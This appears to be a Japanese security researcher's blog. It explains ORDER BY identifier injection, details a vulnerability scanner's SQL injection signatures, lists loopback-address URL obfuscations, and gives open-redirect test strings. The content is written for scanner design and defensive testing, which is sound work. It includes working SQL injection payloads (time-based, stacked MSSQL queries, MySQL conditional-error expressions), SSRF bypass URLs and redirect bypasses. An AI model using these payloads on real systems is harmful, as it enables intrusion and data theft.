T.Teradaの日記

2015-05-08

[]SQL識別子の扱い 12:24 SQL識別子の扱いを含むブックマーク

SQLの検査方法について書いた勢いで、SQLの識別子の扱いについて書いてみます。

議論としては、1年以上前に結論が出ている話ですw

間違いだらけのSQL識別子エスケープ | 徳丸浩の日記

徳丸さんの記事では、テーブル名が外部から指定可能な設定で説明がされていますが、少々エッジケース気味なので、今日の日記ではORDER BY句のカラム名が外から指定可能な前提で、どんな攻撃が可能なのか考えてみます。

例としてSNSサイトのユーザ検索機能のSQLをとりあげます。

SQL文は下記のようなイメージです。

SELECT nickname, prefecture, greeting
FROM members
WHERE nickname like ... AND prefecture=...
ORDER BY {$order}, nichname

検索結果画面にはSELECTした結果のニックネーム、都道府県、挨拶文のみが表示されます。このSNSでは、氏名や誕生日等の詳細なプロフィールは、許可した相手以外には表示されない仕様だとします。

この場合にどんな攻撃が可能か?という話です。

ちなみにSQL文の「$order」の部分は外から指定可能になっていますが、エスケープなり、入力チェック(「\A\w+\z」など)なりがされるとします。

攻撃の例としては「order=birthday」みたいなパラメータを与える攻撃が考えられます。membersテーブルにbirthdayカラムがあるなら、ユーザを誕生日順に並び替えることができます。

並び替えができるなら、あるユーザ(誕生日がわかっているユーザ)と、別のユーザの誕生日を比較することができます。攻撃者自身がダミーのアカウントを登録すれば、バイナリサーチなどを使うことで、楽に特定の人の誕生日を割り出せることになります(画面には直接表示はされませんが、大小関係から値を詰められる)。

誕生日だけでなく「order=telnumber」とか「order=salary」とか「order=password(_hash)」とかも嫌な感じです*1。これが商品検索の機能であればダメージは少なそうですが「order=cost(原価の意味)」とかは少し嫌な感じかもしれません。

上記の例でわかるように、この手の攻撃が問題になるのは、SELECT対象のテーブル内(JOIN対象も含む)に、秘密にすべき情報が含まれている場合です。またフォームのパラメータ名などから、カラム名が推測可能であることが前提となります。

ただし、カラム名の推測は不要な場合もあります。これは、$orderが半角英数等のチェックのみがされ識別子としてクォートされずにSQL文に入る、かつSELECT対象のカラムに秘密情報が含まれている(典型的には「SELECT * FROM ...」のケース)、の2条件がそろう時です。そんな場合は、「order=1」「order=2」といった番号指定が可能になります。*2

開発側の対策としては『要件として「どのカラムでのソートを許すか」を決めて、それをホワイトリストで実装する。望ましくは「1」->「preference」のようにカラムをコード化する』ということになるでしょう。ソートを許すカラムは、通常は値を見せて良いカラムのみです。要件検討の結果「全カラムOK」ということもあるでしょうが、制限が必要な場合もあるはずです。

結論としては、1年以上前の徳丸さんをはじめとした方々とほぼ同じだと思います。

*1:Password_hashの場合は、Saltが付きならば攻撃の意味がなさそうです。

*2:大抵のSQL教本に書いてある構文で、どのメジャーDBMSでも使えます。攻撃側としては、番号とカラムのマッピングを調べていく作業がめんどいと思いますが。

トラックバック - http://d.hatena.ne.jp/teracc/20150508

2015-05-07

[]SQL Injectionシグネチャの更新 12:58 SQL Injectionシグネチャの更新を含むブックマーク

気がつけば3年ぶりの日記更新となりました。
相変わらずWeb/スマホ等のセキュリティは続けてます。
そろそろバイナリもやろうかとも思い、IDA Proを購入してみました。
購入に際してはKinugawaさんの記事を参考にさせてもらいました。

ところで、最後に自作検査ツールについて書いてから6年ほど経ちました。
その間に細々とですがシグネチャの追加や変更を行ってきました。
またこのGW前後にも変更を加えましたので、それについて書こうと思います。

まずはSQL Injectionのシグネチャを取り上げます。

6年前の関連するエントリはこちらです。
2009-05-31 T.Teradaの日記 | 自作検査ツール - SQLインジェクション編

6年間に行われた変更の目的は、正確性と安全性の向上です。

正確性の向上は、False Positive/False Negativeの両方を減らすことを目指すものです。Time-based手法のシグネチャ追加をはじめとして、各種シグネチャの追加・調整をしました。

安全性では、主にMySQLで意図しない変更処理等が行われないように、シグネチャの追加・順番の変更などをしました。

個々の説明の前に、まずシグネチャを大まかに分類すると、下記の5つになります。

  • A. SQLエラー検出+簡易なBlind
  • B. Blind 文字列型
  • C. Blind 数値型・カラム名等
  • D. Time-based
  • E. その他

前回の日記とは分類も多少変えています。
下記でひとつひとつ見ていきます。

A. SQLエラー検出+簡易なBlind

現状のパターンは下記です。

    <値>           <SQL処理>
イ:【元の値】zq'q  エラーになる
ロ:【元の値】z''q  エラーにならない
ハ:【元の値】zq'q  エラーになる(イと同じ)
ニ:【元の値】zq'q  エラーになる(イと同じ)
ホ:【元の値】z''z  エラーにならない

シングルクォートで括られた文字列リテラル内に値が入ることを想定しています。

原理は単純で、「'」ではSQLエラーが発生する一方で、「''」ではエラーが発生せず、両者の応答に差が出ることを期待したものです。少なくともメジャーなDBMS全て(MySQL、Oracle、MSSQL、Postgres、DB2、SQLITE)で動作します。

判定では応答の差に加えて、下記も見ます。

  • SQLエラーらしきものが応答に含まれているか
  • エコーバックされる値の変化(ex.「z''q」→「z'q」)

なお、ツールが必要そうだと判断した場合には、【元の値】の後ろではなく前に「zq'q」等を付けたパターンも実施します。

6年前の日記によると、当時のシグネチャは下記でした。

    <値>             <SQL処理>
イ:【元の値】'"\'"\  エラーになる
ロ:【元の値】''""\\  エラーにならない
ハ:【元の値】'"\'"\  エラーになる(イと同じ)

"」「\」は現状のものには含まれていません。色々と詰め込み過ぎると支障が出かねないため、「"」「\」を使うテストは独立させて「E.その他」に移動しました。

検出した場合は、6年前と同じく「要注意」レベルで報告します。

B. Blind 文字列型

6年前は、文字列連結を使用したシグネチャが3つありました。

使用していた演算子等は下記です(元ネタはThe Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws)。

||        … Oracle, DB2, Postgres等
+         … SQL Server, Sybase等
スペース  … MySQL

話が脱線しますが、MySQLのスペースで文字列結合がされる挙動は BNF Grammars for SQL-92, SQL-99 and SQL-2003 のBNFを見るとSQL仕様に合致した動作といえます。ちなみにPostgresの場合は改行で文字列を連結することができます。

シグネチャの話に戻ると、文字列連結系は「'||'」「'+'」等を使うもので、SELECT文以外のSQL文や、IN句に挿入される場合などでも検出しうる、汎用性が高いシグネチャです。

現状のものは、6年前と比べて下記の変更が施されています。

  1. 誤検出を減らすよう確認ステップを追加
  2. ' AND ''='」を追加
  3. Postgresのクォートされた数値用のシグネチャを追加
  4. MySQLでの安全性向上のためシグネチャの順番を変更

それぞれの変更の内容について説明します。

誤検出を減らすよう確認ステップを追加

||」の例で説明すると、現状は下記のようになっています。

    <値>                      <SQL処理>     <次へ進む条件>
イ:【元の値】'||'             正常(と等価)  「'」への応答と異なる
ロ:【元の値】'|||             SQLエラー     上(イ)応答と異なる
ハ:【元の値】'|||             SQLエラー     上(ロ)応答に近い
二:【元の値】'||'             正常(と等価)  上(ハ)応答と異なる
ホ:【元の値】'|_'             SQLエラー     上(二)応答と異なる
ヘ:【元の値】'||ltrim('')||'  正常(と等価)  上(ホ)応答と異なる
ト:【元の値】'||tlimr('')||'  SQLエラー     上(ヘ)応答と異なる
チ:【元の値】'||tlimr('')||'  SQLエラー     上(ト)応答に近い

6年前から追加されているのは、ヘ/ト/チのステップです。これらをクリアしてはじめて「脆弱性あり」で報告します。ホまで確認できたら「要注意」です。

ヘ/ト/チでやっているのは、SQLの関数であるltrim()が動作することの確認です。SQLの関数は多くありますが、その中でltrim()を選んだのは、当時調べた範囲では、多くのDBMS種類・バージョンで利用可能な関数であり、またシグネチャ内に組み込みやすかった(素直に空文字列を返す)からです。trim()はDB2 V9より前ではサポートされていないため使いませんでしたが、逆に滅多にお目にかかることがない国産の某DBMSはtrim()のみをサポートしていたりと、選択は悩ましいところではあります。

他の文字列連結である「'+'」「' '」(スペース)についても、ヘ/ト/チと同様のチェックを追加しました。ただし「' '」(スペース)は単純なリテラル同士しか結合できない制約があるため、MySQLのConditional Block Commentを使っています。

    <値>               <SQL処理>     <次へ進む条件>
ヘ:【元の値】'/*q!*/'  正常(と等価)  上(ホ)応答と異なる
ト:【元の値】'/*!q*/'  SQLエラー     上(ヘ)応答と異なる
チ:【元の値】'/*!q*/'  SQLエラー     上(ト)応答に近い
' AND ''='」を追加

今更という感じの基本パターンですが、これは直近に追加しました。

上記の「'||'」と同じように、最後のltrim()まで動けば「脆弱性あり」、その手前までであれば「要注意」とします。

SQL以外のインジェクションも「要注意」にはなる可能性がありますが、むしろ半分はそこを狙っています。

Postgresのクォートされた数値用のシグネチャを追加

つい最近まで、このツールは下記条件のインジェクションを検出しませんでした。

  • 比較的新しいバージョンのPostgres
  • (AND) クォートされた数値部分
  • (AND) Blind

下記がクエリの例です。noカラムはinteger型で、シングルクォートで括られた「2」の部分にインジェクション可能です。

testdb1=# SELECT * FROM product WHERE no='2';
 no | category |  name  | price 
----+----------+--------+-------
  2 | fruit    | orange |   200
(1 row)

以前のバージョンのPostgresでは「'||'」のパターンで検出できていました。つまり「no='2'||''」は、「no='2'」または「no=2」と同様に扱われていました。

ところが、あるバージョン(おそらくv9あたり)からは「'||'」を使うと下記のようにエラーとなります。

testdb1=# SELECT * FROM product WHERE no='2'||'';
ERROR:  operator does not exist: integer = text
LINE 1: SELECT * FROM product WHERE no='2'||'';
                                      ^
HINT:  No operator matches the given name and argument type(s).
 You might need to add explicit type casts.

結果として文字列連結シグネチャ「'||'」では検出できず、また(Blindの場合は)他のシグネチャでも検出できませんでした。

これに気づいた当時(2009年)はマイナーな問題だと考えてスルーしていましたが、年月が経つに連れ、検査対象のPostgresのバージョンも当然に上がってきています。本件による検出漏れの可能性も上がっているはずで、遅ればせながら今回のGWに対応を検討しました。

マニュアルを見たり自分の環境で試したりと試行錯誤したのですが、通常の四則演算の演算子(「+」「-」「*」「/」)だとエラーとなりうまくいかず、最終的に下記のパターンにたどりつきました。

    <値>                   <SQL処理>     <次へ進む条件>
イ:【元の値】'^cbrt(1)^'1  正常(と等価)  「'」への応答と異なる
ロ:【元の値】'^brct(1)^'1  SQLエラー     上(イ)応答と異なる
ハ:【元の値】'^brct(1)^'1  SQLエラー     上(ロ)応答に近い
二:【元の値】'^cbrt(1)^'1  正常(と等価)  上(ハ)応答と異なる
ホ:【元の値】'^brct(1)_'1  SQLエラー     上(二)応答と異なる
ヘ:【元の値】'^cbrt(1)^'1  正常(と等価)  上(ホ)応答と異なる
ト:【元の値】'^brct(1)_'1  SQLエラー     上(ヘ)応答と異なる
チ:【元の値】'^brct(1)_'1  SQLエラー     上(ト)応答に近い

Postgresでは「^」はべき乗を求める演算子、cbrt()は立方根を求める関数です。「^」は他のDBMS(特にMySQL)ではXOR演算子と解釈されてしまい気持ちが悪いので、Postgres固有の関数であるcbrt()と組み合わせています。

ただシグネチャを作ってみたものの、これが必要なのは、上記の3条件が満たされる場合だけです。さらに新たに追加した「' and ''='」で検出できるケースが多いはずなので有用性があまり高くないシグネチャです。できるなら他のシグネチャと統合したいところですが、妙案がなく暫定的にこのまま実装しました。

MySQLでの安全性向上のためシグネチャの順番を変更

MySQLには「暗黙の型変換」という親切な機能があり、「'||'」や「'+'」を含むパターンを送信すると問題が生じる場合があります。

この問題を(リアルな例を元に)説明しているのが、zaki4649さんのスライドです。

とある診断員とSQLインジェクション

スライドのP.46を見て、自分が過去の日記に「'||'」「'+'」の危険性について書いたことを思い出しました(6年前なのでもう忘れてた)。

'+'」はzaki4649さんのスライドで説明されているので、ここでは「'||'」について少し補足します。

これは前回(6年前)の日記に書いた例です。

mysql> SELECT * FROM product WHERE category='fruit'||'' AND name='apple';
+----+----------+--------+-------+
| no | category | name   | price |
+----+----------+--------+-------+
|  2 | fruit    | orange |   200 |
|  3 | fruit    | apple  |   300 |
+----+----------+--------+-------+
2 rows in set, 1 warning (0.00 sec)

このクエリは、categoryがfruit、nameがappleのレコードを返すように思えますが、後半のnameに関する条件が無視されています(対象のテーブルに含まれるfruitは2件だけなので、上のクエリでfruitの全レコードが出力されています)。

これはMySQLにおいては「||」が「OR」と完全に等価であるからです。上のSQL文がどう解釈されるかは、下記のように考えれば分かりやすいと思います。

WHERE category='fruit'||'' AND name='apple';
↓
WHERE category='fruit' OR '' AND name='apple';
↓
WHERE category='fruit' OR ('' AND name='apple');
↓
WHERE category='fruit' OR (FALSE AND name='apple');
↓
WHERE category='fruit' OR FALSE;
↓
WHERE category='fruit'

このような挙動のため、UPDATE、DELETEのWHERE内に「'||'」(あるいは「'+'」)を入れると状況によっては危険です。そこで、この手の問題が生じにくくなるような変更をこのGWに実施しました(いまさらですが…)。

変更の内容は単純です。これまで、文字列連結系は「'||'」「' '」「'+'」の順番で実行していましたが、これを「' and ''='」「' '」「'||'」「'+'」の順番に変えました。「' and ''='」は前述の新規追加したシグネチャです。

順番を変えて、危険性が相対的に高いもの(「'||'」「'+'」)より前に、危険性が低いもの(「' and ''='」や「' '」)を実行して、そっちで先に脆弱性を見つけてしまおうということです(本ツールはある脆弱性を検出したら、以降は同種の脆弱性のシグネチャを原則的にスキップする仕組みになっています)。

ところで、zaki4649さんのスライドの「全ユーザのPWリセット」的な問題ですが、私が過去に類似の問題を経験したことがあるかというと、おそらくあります。私がはっきり記憶しているのは自分が主犯だった1件だけです(その1件は「多分この辺のSQLが原因っぽい」というところまでしか原因調査をしてません)。ただ「意図しない範囲のデータまでが更新されたけれども誰も気づかなかった(診断専用の環境だったりして)」というケースは、実は他にもあったのかもしれません。

いずれにせよ、シグネチャの順番の入れ替えにより、この手の問題が生じる率は減るのではないかと思います。

なお「'+'」や「'||'」の危険性を無くすために、「'+/*!z*/'」的なパターンにすることも考えましたが、余計な文字列を入れることで入力値チェック等に引っ掛かる割合が増えるので、採用しませんでした。

C. Blind 数値型・カラム名等

クォートされてない部分に値が挿入されるケースです。2つシグネチャがあり、ひとつは数値リテラル、もうひとつはその他雑多なもの(カラム名、ASC/DESC等のSQLキーワード、TRUE/FALSE/NULL等の特殊なリテラル、他)をターゲットとしています。

前者は「【元の値】*(1)」、後者は「【元の値】/*q*/」のようなパターンです。いずれも6年前と大きな変更はなく、誤検出を減らすための送信パターンの追加のみが変更点です。詳細は割愛しますが、文字列連結シグネチャでltrim()を足したのと同じように、数値型ではabs()の動作を確認します。

D. Time-based

Time-basedは6年前のツール開発当時には含めませんでしたが、その後程なくして追加しました。Time-basedは、Errorの有無等が応答の内容に(殆ど)影響を及ぼさない、したがってSQLエラーが発生したか否かすら応答の内容からは分からない場合に効力を発揮します。実際のところ頻度は高くありませんが、たまに脆弱性を見つけてくれます。

ご存知のように、遅延まわりは個々のDBMSによって関数等が全然違うため、DBMS毎にシグネチャがあります。もともとは、MySQL、Postgres、Oracleの3つに対応するシグネチャがありましたが、このGWに多少見直しを行うとともに、MSSQL用のシグネチャを追加しました。

順に見ていきます。

MySQLのTime-basedシグネチャ(旧)

最近まで使用していたのは、下記のようにbenchmark()を使った文字列です。

<遅延式>
0 regexp if(benchmark(100000000,md5(1)),1,0x28)

<非numeric>
【元の値】'-(遅延式)-'

<numeric>
【元の値】*(遅延式)/*'-(遅延式)-'*/

元の値がnumericか、非numericかによって送る値を変えています。この後に説明するMySQL以外のTime-basedシグネチャもnumericか否かにより値を変える点は同様です。

numericでない値の場合は割と単純な値を送ります。numericな値の場合は、値がSQLのクォート内に出力される場合、クォート外に出力される場合の両方に備えるため2つの遅延式を入れます。クォート内に出力される場合は2つ目の遅延式が評価され、クォート外の場合は1つ目の遅延式が評価されます。

もう一つ説明が必要だと思われるのは、遅延式内でregexp演算子を使っていることです。目的は遅延後にruntimeエラーを発生させるためです。benchmark()は0(false)を返すため、遅延後に「0 regexp 0x28」が実行されます。0x28は「(」と等価で正規表現として不正であるため、runtimeエラーが発生します。

runtimeエラーを発生させる目的は、①意図しないデータが更新されないようにする、②サーバに過剰な負荷を与えないようにする、という2つの意味での安全性のためです。

前者の危険性は「'+'」と同じ原理です。regexpがない場合「'-benchmark(...)-'」のような値が文字列リテラルに入ることになり、結果として数値への暗黙的な変換が行われます。仮にUPDATEやDELETE文のWHEREに入ると、想定外の範囲のレコードが更新されるかもしれません。しかしbenchmark()終了後にregexpでクエリをkillすれば、レコードが書き換えられることはなくなります。

後者は、サーバの負荷の話です。実は単一のSQL文を実行した場合であっても、regexp等を用いてクエリをkillしなければ、benchmark()は多数回実行される可能性があります。下記は、単純にbenchmark()だけを使用したSQL文の例です。

SELECT * FROM product WHERE name='carot'-benchmark(100000000,md5(1))-'';

UPDATE product SET price=100*benchmark(100000000,md5(1)) WHERE category='fruit';

仮にproductテーブルに500レコード存在するとして、上記のSELECT文を実行すると、benchmark()は何回実行されるでしょうか。自宅の少々古いバージョン(v5.0.26)では、500レコードあるとbenchmark()は500回実行されます。これでは負荷を掛け過ぎなので、一度のbenchmark()実行後にruntimeエラーによってクエリをkillしたいわけです。

この辺の挙動はDBMSの種類やバージョンによって異なります。MySQLの場合、v5.5, 5.6系で試すと上記とは違う挙動となり、上のSELECT文そのままだとbenchmark()は1回しか実行されないようです。これはbenchmark()の実行内容が固定であり、最適化が行われるためだと思われます。しかし、最近のバージョンでもUPDATE文の方は、更新行数分だけbenchmark()が実行されます。また、benchmark()の代わりにsleep()を使う場合、SELECT文であってもバージョンにかかわらずレコード数の分だけsleep()が実行されます。

ということで、delay & killするパターンを送るのが無難だろうと思います。本ツールのTime-based SQLIシグネチャでは、MySQL以外を含めてこの方針を採っています。

MySQLのTime-basedシグネチャ(新)

上記のbenchmark()を使うのは、1つ前のバージョンまでです。このGW期間中にsleep()を使うものへとシグネチャを更新しました。

benchmark()からsleep()に切り替えた理由は2つあります。ひとつは、benchmark()でスリープする時間が読みにくくなってきているからです。もともと「benchmark(100000000,md5(1))」を使っており、過去にはこれでそれなりの時間(数十〜数百秒)のdelayが得られていました(はずです)。

しかしMySQL自体のバージョンアップによる性能向上と、マシンパワーの向上により、同じ式で得られるdelayの時間は減ってきています。最近、自宅のPCのv5.5, 5.6で試したところ、十数秒のdelayしか得られませんでした。時間が読みづらいという意味で、benchmark()はシグネチャとして使いにくいです。

もうひとつは、sleep()に対応したバージョン(v5.0.12以上)が世の中のMySQLの多くをしめるようになってきたからです。そうなると、あえて使いづらく、サーバに負荷をかけすぎるリスクもあるbenchmark()を積極的に使う理由が減ってきています。

というわけで、最新版のsleep()を使うパターン(遅延式の部分のみ)は下記です。

sleep(NN)|(select 1 union select 2)

これはdelay後に「ERROR 1242 (21000): Subquery returns more than 1 row」エラーになります。実はこのシグネチャ作成時に、sleep後にkillさせる部分で少々苦労しました。当初はregexp等をsleep()と組み合わせれば簡単にkillできると思っていましたがなぜかうまくいかず、試行錯誤の上、最終的にサブクエリで複数行を返す方式としました。

ちょっと脇道にはずれますが、MySQLで動的にエラーを起こす(Conditional Errorとして使える)ものを下記にまとめます。

1. 0 regexp if(EXP,0,0x28)
  ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp
  Probably discovered by Kanatoko around 2007

2. like 0 escape if(EXP,1,10)
  ERROR 1210 (HY000): Incorrect arguments to ESCAPE
  Probably discovered by me around 2009

3. if(EXP,1,(select 1 union select 2))
  ERROR 1242 (21000): Subquery returns more than 1 row
  Probably discovered by Elekt around 2007
  Works on v4.1 or above

4. extractvalue(1,if(EXP,1,0x21))
  ERROR 1105 (HY000): XPATH syntax error: '!'
  Probably discovered by me around 2009
  Works on v5.1 or above

5. if(EXP,1,row(1,1)=(select sum(1),round(rand(0))x from mysql.user group by x))
  ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
  Probably discovered by Qwazar around 2010
  Works on v4.1 or above

全てEXPが1(true)ならは1を返し、そうでなければkillします。4と5は一般にError-based用ですが、動的エラーにも転用できます。とりあえず1,2,4とsleep()の組み合わせを試してうまくいかず、最終的に3を選んだという経緯です。

OracleのTime-basedシグネチャ

Oracleについては、現状下記の遅延式を使っています。

httpuritype(3221225995||chr(58)||1).getclob()

3221225995||chr(58)||1」は「192.0.2.11:1」です。このIPアドレスは例示用として使うもので(RFC3330)、実際にこのIPを持つ機器は世の中に存在しません(正確には「存在するべきではない」)。結果としてhttpuritype()で接続できずに数十秒〜数分程度は遅延が生じ、最終的にはエラーとなる、ということを期待しています。

知られているように、Oracle 11g以降、デフォルトでは外部へのNW接続ができなくなっており、上記のようなシグネチャは機能しない可能性が高いです。11gでも確実に動くものとしては、JOINを重ねたいわゆるHeavy Queryがありますが、遅延時間が読みづらく、またDBサーバで多くのリソースを消費することが前提であるため、導入には二の足を踏んでしまいます。

ネット上にはHeavy Queryを使わない11g用のDelay方法に関する情報もありますが、設定に依存したり、すでにOracle側で対策されていたりで、確実なものが見つからないため現状はひとまずhttpuritype()のシグネチャを使い続けています。

ただ、比較的最近対策されたOracleのXXEバグ(Advisory: XXE Injection in Oracle Database (CVE-2014-6577))は動く環境が多そうなので、いずれこのバグを使用したdelay方法に変更するかもしれません。興味深いことに、先月リリースされたBurpのCollaboratorも、Blogの図から推測するにこのバグを利用する(OOB的に)シグネチャを持っているように見えます*1

PostgresのTime-basedシグネチャ

Postgresについては、現状下記の遅延式を使っています。

cast(chr(1)||pg_sleep(NN) as int)

cast()でkillしています。pg_sleep()を使っているので、v8.2以上が対象です。

MSSQLのTime-basedシグネチャ

このGWで新たに追加しました。MSSQLで遅延させる方法としては、Heavy Queryを使う方法と、WAITFOR DELAYを使う方法が知られています。Oracleと同じ理由でHeavy Queryは避けたい気持ちがあり、WAITFOR DELAYでシグネチャを作りました。

WAITFOR DELAYはサブクエリにできないため、複文(Stacked Query)にせざるをえません。つまりインジェクション対象のSQL文を途中で切って別の文を入れることになります。必然的に問題になるのは、途中で切られるSQLがUPDATEやDELETE文の場合の安全性です。

今回作成したシグネチャでは、先頭のSQL文をruntimeエラーにすることにより、この問題を解決しようとしています。

具体的には下記のような文字列を挿入します。

<遅延式>
declare @X char(6)=cast(0x303a303aXXXX as char);waitfor delay @X
--> @X は '0:0:NN' になる

<非numeric>
【元の値】'+cast(1/(select 0) as char);(遅延式)--

<numeric>
【元の値】-1/(select 0);(遅延式)--'+cast(1/(select 0) as char);(遅延式)--

まずゼロ除算で先頭のSQL文をruntimeエラーにします。これにより先頭の文がUPDATE/DELETEであってもデータの更新は実行されない(はず)です。都合が良いことに、先頭のSQLがruntimeエラーでも、2番目以降のSQL文は実行され遅延を得られます。

複文を利用しているため、挿入ポイントが括弧内の場合などは構文エラーとなり、遅延もしないという大きな制約があります。したがってINSERT文へのインジェクションでは絶対に動作しません。複文ではなくインラインのHeavy Queryのシグネチャにすれば、このような制限は無しにできますが、上述の理由から採用しませんでした。

E. その他

その他のものとしては下記のシグネチャがあります。

  1. 更新系クエリ用
  2. 文字コード系
  3. 8000Byte超の値によるSQLエラー
  4. "」「\」によるBlind
  5. 全角/EncodedのBlind

1〜3は6年前とあまり変わっていないので割愛します。

4のシグネチャは「"」で文字列リテラルが括られている場合や、「\」がエスケープされないケースに対応するもので、現状では基本的にMySQLが対象です。5はWebアプリでURLデコードされるケースや、全角記号が半角に変換されるケースに対応するものです。

*1:BurpのScannerでは、Collaboratorがデフォルト有効のようです。ブログ記事のコメントに批判があります。

2012-05-10

[]久々に更新 00:13 久々に更新を含むブックマーク

1年以上時間があいてしまいました。

今後はたまーにAndroidやWebのセキュリティの話でも書こうかと思います。

[]loopback 00:10 loopbackを含むブックマーク

http://127.0.0.1/ と同じ意味となりうるURL。
ブラウザでアクセスするというよりは、HTTPクライアントとして機能するWebアプリに食わせます。
(一部のサーバ環境でしか動かないものもあります。)

http://127.0.0.1/               普通の表記
http://127.0.1/                 2,3番目のバイトをまとめる
http://127.1/                   2,3,4番目のバイトをまとめる
http://127.1.2.3/               2,3,4番目のバイトは何でもいい
http://127.66051/               上の2,3,4番目のバイトをまとめる
http://017700000001/            全バイトをまとめて8進数で
http://0017700000001/           0をもうひとつ
http://2130706433/              全バイトをまとめて10進数で
http://02130706433/             0を頭につけても10進数と解釈する環境も
http://2130772483/              127.1.2.3の全バイトをまとめて10進数で
http://0x7F000001/              全バイトをまとめて16進数で
http://0x37F000001/             32bitを超える数でoverflow 16進数
http://15015608321/             同上 10進数
http://0177.0.0.0x0001/         先頭バイトを8進数、4番目を16進数に
http://12%37.0.0.%31/           URLエンコード
http://12[TAB]7.0.[LF]0.1/      空白文字を入れる
http://a:a@127.0.0.1/           user/password付き
http://127.0.0.1./              お尻にドット
http://localhost./              上と同じ
http://localhost.localdomain/   hostsに書いてあるかも
http://example.jp/              DNSが127.0.0.1を返せば

ほとんどのは、How to Obscure Any URL にのってます

トラックバック - http://d.hatena.ne.jp/teracc/20120510

2011-02-14

[][]最近買った本 00:41 最近買った本を含むブックマーク

sla.ckers.orgのXSS板とかでよく見る人たちが著者に名前を連ねています。

行きの電車の中で読んでますが、まだ40ページくらい。先は長いです。

徳丸さんの本です。先ほどアマゾンでぽちりました。

Web開発者向けのセキュリティ本としてはこれ、という本になるんでしょうね。

目次を見ると、4章が盛りだくさんな感じです。

トラックバック - http://d.hatena.ne.jp/teracc/20110214

2011-02-12

[]オープンリダイレクト検査:Locationヘッダ編 15:05 オープンリダイレクト検査:Locationヘッダ編を含むブックマーク

オープンリダイレクタを脆弱性とみなすべきかは議論が分かれるところです。Google等の一部のサイトは、自サイトのオープンリダイレクタを脆弱性としてはみていません。一方で、脆弱性検査の現場では、見つかれば脆弱性として報告することが多いと思います。

その辺の議論はおいておいて、オープンリダイレクタの検査は、ブラウザの特性もからんで意外とバリエーションが多くて面白いので、本日の日記で取り上げてみたいと思います。

大まかにいうと、リダイレクトは、302応答のLocationヘッダ、Refresh(HTTPヘッダ、METAタグ)、JavaScriptによるものがありますが、本日は302応答のLocationヘッダのリダイレクタについて取り上げます。

パターン1:サブドメイン部分に値が入る場合

以下のように、サブドメインの箇所が動的なケースです。

Location: http://{$u}.hatena.ne.jp/hoge

このリダイレクタ("redir.cgi" とします)を悪用して、"example.com" ドメインにリダイレクトさせることを目指します。なお、$uの正常な値は "www" で、LF(%0A U+000A)は使えないとします。

まずは、一番基本的な検査文字列3つです。

■1A: redir.cgi?u=example.com/www
 → Location: http://example.com/www.hatena.ne.jp/hoge

■1B: redir.cgi?u=example.com?www
 → Location: http://example.com?www.hatena.ne.jp/hoge

■1C: redir.cgi?u=example.com%23www  (%23 => #)
 → Location: http://example.com#www.hatena.ne.jp/hoge

上の1A、1B、1Cでは、URL内で区切りとして使用される "/", "?", "#" を使っています。

アプリがブラックリストでパラメータuの値チェックをしているとしても、上の3つの記号については対策されていることは割とあります。その場合は、以下の1D〜1Fを試します。

■1D: redir.cgi?u=example.com;www
 → Location: http://example.com;www.hatena.ne.jp/hoge

■1E: redir.cgi?u=example.com:80www
 → Location: http://example.com:80www.hatena.ne.jp/hoge

■1F: redir.cgi?u=example.com\www
 → Location: http://example.com\www.hatena.ne.jp/hoge

1D, 1Eは ";" と ":" を使用しています。いずれも、Firefox、Operaでホスト名の終端として認識され、"example.com" にリダイレクトします。":" を使う場合は、その直後に妥当なポート番号を付けて ":80" のような値にしなければリダイレクトしません。

1Fは "/" の代わりに "\" を使っています。IE、Chromeで動作します。

次からは制御文字を使う検査文字列です。

■1G: redir.cgi?u=example.com%00www
 → ① Location: http://example.com
 → ② Location: http://example.com[0x00]www.hatena.ne.jp/hoge

1GはNULL(%00 U+0000)を使っています。応答のLocationヘッダを2パターン書いていますが、Apache上のCGIやPHPで試してみると、NULL以降が消えてなくなった①のLocationヘッダが返されます。その場合は、当然 "example.com" にリダイレクトします。

仮に、②のような応答が返っても、たいていのブラウザはHTTPヘッダのNULL以降を無視するので、"example.com" にリダイレクトします(Safariだけは違う)。

もう一つ制御文字を使う検査文字列です。

■1H: redir.cgi?u=example.com%0Dwww
 → Location: http://example.com[0x0D]www.hatena.ne.jp/hoge

IE、Opera、Chromeでは、CR(%0D U+000D)以降が無視されて、"example.com" にリダイレクトします。正確に言うと、これらのブラウザはCRをヘッダ行の区切りとして認識しています。つまり、この検査文字列は、HTTP Header Injectionを利用しています。

パターン2:スラッシュが先頭に付けられる場合

余り見ませんが、こんなケースです。

Location: /{$u}

$uの正常な値は "foo/bar.cgi" で、LF(%0A U+000A)は使えないとします。

こんなケースでの基本的な検査文字列は以下です。

■2A: redir.cgi?u=/example.com/foo/bar.cgi
 → Location: //example.com/foo/bar.cgi

URLの先頭の、"http:" や "https:" は省略可能なので、2Aは "example.com" にリダイレクトします。

たいていのアプリは上の2Aで詰むのですが、先頭に "/" が使えない場合は以下のような検査文字列があります。

■2B: redir.cgi?u=\example.com/foo/bar.cgi
 → Location: /\example.com/foo/bar.cgi

■2C: redir.cgi?u=%09/example.com/foo/bar.cgi
 → Location: /[0x09]/example.com/foo/bar.cgi

2Bでは、"/" の代わりに "\" を使っています。IE、Chromeで動作します。2Cはタブ(%09 U+0009)を使っています。IE、Chromeは、URLに含まれるタブ等の文字を無視するため、2Aと同様に動作します。

パターン3:Locationヘッダの先頭に値が入る場合

こんなケースです。一番良く見るパターンです。

Location: {$u}

$uの正常な値は "http://www.hatena.ne.jp/foo/" で、LF(%0A U+000A)は使えないとします。

外部にリダイレクトしないように、パラメータuの値を何らかの方法でチェックしていても、それが不完全ならば下の3A、3Bが通ってしまうかもしれません(このような値が通ることは少なくありません)。

■3A: redir.cgi?u=http://www.hatena.ne.jp.example.com/foo/
 → Location: http://www.hatena.ne.jp.example.com/foo/

■3B: redir.cgi?u=http://example.com/http://www.hatena.ne.jp/foo/
 → Location: http://example.com/http://www.hatena.ne.jp/foo/

元のURL(http://www.hatena.ne.jp/)のサブドメイン(www)の箇所のチェックが不完全ならば、下の3Cが通ってしまうかもしれません。

■3C: redir.cgi?u=http://example.com?.hatena.ne.jp/foo/
 → Location: http://example.com?.hatena.ne.jp/foo/

「パターン1:サブドメイン部分に値が入る場合」で見たように、上の3Cの "?" の箇所を、";", "#", ":80", "\", NULL, CR などに変えるバリエーションがあります。

先頭が "/" で始まる値が許容される場合は、下の3Dのような検査パターンが通るかもしれません。

■3D: redir.cgi?u=//example.com/foo/
 → Location: //example.com/foo/

